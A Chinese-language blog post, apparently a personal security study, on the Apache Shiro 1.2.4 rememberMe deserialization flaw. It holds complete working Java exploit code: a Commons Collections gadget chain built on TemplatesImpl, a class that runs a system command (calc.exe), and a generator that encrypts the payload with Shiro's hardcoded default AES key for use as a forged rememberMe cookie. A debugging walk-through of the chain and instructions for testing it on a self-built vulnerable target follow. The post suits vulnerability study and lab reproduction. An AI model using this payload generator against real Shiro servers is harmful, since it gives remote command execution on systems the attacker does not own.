为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞
2. 漏洞复现 POC:点击查看代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/*
HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()->
TiedMapEntry#getValue() -> LazyMap#get() -> InvokerTransformer#transform() ->
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
*/
public class CC_Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
// 这里是查看了P牛的文章,在CC6中可以不适用ysoserial中原本的HashSet,直接使用HashMap,因为HashMap的readObject()就直接调用到了hash()方法
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
再写一个类来调用POC类中的getPayload方法同时传入恶意命令的字节码,因为这条链的命令执行方式是通过最后的defineClass()进行类加载执行,并将返回的序列化后的数据通过shiro的加密方式进行加密
点击查看代码
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Main {
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
最后还有一个用来生成命令执行字节码的类,分析过CC3就知道,必须继承AbstractTranslet同时实现两个抽象方法
点击查看代码
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public Evil() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}
总的代码逻辑就是Main函数启动,首先通过javassti将Evil类转成字节码然后传递给CC_Shiro的getPayload函数,在其中执行完构造好的代码后返回恶意的序列化内容,将返回的内容以shiro默认秘钥和AesCipherService类来进行加密,加密后的内容输出,而这就是我们需要的payload内容,将其替换shiro框架Cookie中的rememberMe字段发送给服务端即可造成命令执行
利用链分析HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()-> TiedMapEntry#getValue() ->
LazyMap#get() -> InvokerTransformer#transform() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
总体就像前面是CC6的前半部分加上CC4后半部分通过类加载进行命令执行(这里查看了P牛的文章,在CC6中可以不适用ysoserial中原本的HashSet,直接使用HashMap,因为HashMap的readObject()就直接调用到了hash()方法),所以这条链就直接以HashMap#readObject()作为入口
为了方便调试这里在POC代码随便改改,把反序列化部分也加上
点击查看代码
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/*
HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()->
TiedMapEntry#getValue() -> LazyMap#get() -> InvokerTransformer#transform() ->
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
*/
public class CommonsCollectionsShiro {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("serialize"));
outputStream.writeObject(expMap);
outputStream.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize"));
in.readObject();
// ==================
// 生成序列化字符串
// ByteArrayOutputStream barr = new ByteArrayOutputStream();
// ObjectOutputStream oos = new ObjectOutputStream(barr);
// oos.writeObject(expMap);
// oos.close();
// return barr.toByteArray();
return new byte[]{};
}
}
这条链与之前CC链最不同的点就在于new TiedMapEntry的时候直接把TemplatesImpl对象作为key传入,而这个key会作为LazyMap#get(key)方法的参数,最终作为InvokerTransformer#transform(key)的参数,实现反射调用TemplatesImpl#newTransformer(),后面就是CC3的命令执行流程了,这样就可以将前后两部分拼接起来
这样做的目的是因为在shiro中不能使用原本CC6的Transformer数组,我们只能进行改造使其编程没有数组的形式,原因可以参照下面的参考文章,简单来说就是如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,所以有Transformer数组是反序列化会出异常而无法正常执行下去
因此我们发现了TiedMapEntry构造函数和getValue()函数的配合能直接让
InvokerTransformer#transform函数的参数input为TemplatesImpl的对象,这样就可以直接反射调用到TemplatesImpl#newTransformer()方法
接下来进行下调试复现
在HashMap#readObject()中的hash()函数这下断点开始调试
进入hash方法
进入hashcode方法
再进入TiedMapEntry的getValue,此时this.map是LazyMap,而this.key正是TemplatesImpl对象,它是在new TiedMapEntry时在构造方法传入的
进入get方法后后面就是CC3后面的过程
运行Main.java就可以生成payload
自己搭建一个有该漏洞的shiro版本的靶场
将payload替换rememberMe,即可命令执行
参考文章:https://www.anquanke.com/post/id/192619、《java安全漫谈15》-phith0n
It is never too late to learn 个人博客:yiaho.cn